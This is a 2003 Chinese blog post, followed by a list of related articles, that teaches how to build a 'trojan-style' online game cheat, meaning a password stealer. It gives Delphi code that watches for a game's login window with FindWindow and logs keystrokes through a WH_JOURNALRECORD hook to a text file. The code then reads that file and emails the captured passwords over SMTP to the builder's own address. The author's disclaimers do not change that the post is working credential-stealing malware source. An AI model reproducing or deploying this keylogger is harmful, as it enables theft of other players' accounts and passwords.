网络游戏外挂制作之我所见(4)

原创 2003年04月04日 09:15:00

以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。
    在做程序之前我们必需要了解一下程序的思路:
    1、我们首先知道你想记录游戏的登录窗口名称。
    2、判断登录窗口是否出现。
    3、如果登录窗口出现,就记录键盘。
    4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。
    第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
    那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:
    HWND FindWindow(

      LPCTSTR lpClassName, // pointer to class name
      LPCTSTR lpWindowName  // pointer to window name
     );
    实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
    先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
HHOOK SetWindowsHookEx(

    int idHook, // type of hook to install
    HOOKPROC lpfn, // address of hook procedure
    HINSTANCE hMod, // handle of application instance
    DWORD dwThreadId  // identity of thread to install hook for
   ); 
    在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
    而HOOKPROC里的函数就要复杂一点点:
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
 if findedtitle then   file://如果发现窗口后
 begin
  if (peventmsg(lparam)^.message = WM_KEYDOWN) then  file://消息等于键盘按下
   hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); file://通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
  if length(hookkey) > 0 then  file://如果获得按键名称
  begin
   Write(hookkeyFile,hookkey); file://把按键名称写入文本文件
   hookkey := '';
  end;
 end;
end;
    以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。
    我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
   assignfile(ReadFile,'hook.txt'); file://打开hook.txt这个文本文件
   reset(ReadFile); file://设为读取方式
   try
    While not Eof(ReadFile) do file://当没有读到文件尾
    begin
     Readln(ReadFile,s,j); file://读取文件行
     body:=body+s;
    end;
   finally
    closefile(ReadFile); file://关闭文件
   end;
   nmsmtp1.EncodeType:=uuMime; file://设置编码
   nmsmtp1.PostMessage.Attachments.Text:=''; file://设置附件
   nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; file://设置源邮件地址
   nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址
   nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; file://设置邮件内容
   nmsmtp1.PostMessage.Subject:='password'; file://设置邮件标题
   nmsmtp1.SendMail; file://发送邮件
    这个程序全部功能已经实现,编编试试~~~对了,我以前写的类似的作品可以在www.playicq.com上找得到。
    (其实做一个这样的东东也不难,基本也是说不上什么技术可言。希望大看我的文章后不要到处乱应用呀~~~~小生在此有礼了~~~)

版权说明:
您可以随意复制、分发、下载此文档。但未经本人同意,您不可以截取、改动本文片断,或用本文谋取任何形式的利益。

[四种]网络游戏外挂的制作方法

1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式。(这种外挂完全是垃圾,TMD,只要会一点点API的人都知...
  • liujiayu2
  • liujiayu2
  • 2015年05月14日 15:36
  • 1614

C#简单游戏外挂制作(以Warcraft Ⅲ为例)

网上有很多外挂制作的教程,大多是讲针对大型网络游戏的,主要包含一些抓包、反汇编、C++的知识综合。事实也如此,常见的外挂都是使用VC++写的,从来没有过C#或者其他.NET语言编写的外挂。   ...
  • mysouling
  • mysouling
  • 2013年02月22日 17:23
  • 1828

国服游戏封包解密-外挂制作全过程

[软件]国服游戏-路尼亚战记 [工具]OD,Wep,以及其它的一些文本工具 [目的]研究游戏保护技术,深论协议级分析。 意在抛砖引玉,抵制游戏外挂。我会在每个分析点做出一些保护上的思考。 ...
  • liujiayu2
  • liujiayu2
  • 2016年06月22日 17:23
  • 2767

Delphi深度之旅——网络游戏外挂制作

  • 2011年11月03日 14:43
  • 23KB
  • 下载

网络游戏外挂制作教程

  • 2011年08月07日 19:56
  • 1.14MB
  • 下载

制作网络游戏外挂教程

  • 2013年04月05日 23:33
  • 9.59MB
  • 下载

制作网络游戏外挂教程

  • 2015年06月02日 20:50
  • 9.6MB
  • 下载

C#简单游戏外挂制作(以Warcraft Ⅲ为例)

网上有很多外挂制作的教程,大多是讲针对大型网络游戏的,主要包含一些抓包、反汇编、C++的知识综合。事实也如此,常见的外挂都是使用VC++写的,从来没有过C#或者其他.NET语言编写的外挂。   ...
  • mysouling
  • mysouling
  • 2013年02月22日 17:23
  • 1828

C#简单游戏外挂制作(以Warcraft Ⅲ为例)

2011-04-25 14:57 seoxs 博客园 字号:T | T 本文以DOTA游戏的显血、改键外挂为例,简单地介绍如何使用C#语言制作游戏外挂。一起来看。 AD:5...
  • jsjpanxiaoyu
  • jsjpanxiaoyu
  • 2016年10月28日 12:54
  • 370

C#简单游戏外挂制作(以Warcraft Ⅲ为例)

网上有很多外挂制作的教程,大多是讲针对大型网络游戏的,主要包含一些抓包、反汇编、C++的知识综合。事实也如此,常见的外挂都是使用VC++写的,从来没有过C#或者其他.NET语言编写的外挂。    作为...
  • javaweb_research
  • javaweb_research
  • 2011年07月23日 13:54
  • 780
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:网络游戏外挂制作之我所见(4)
举报原因:
原因补充:

(最多只允许输入30个字)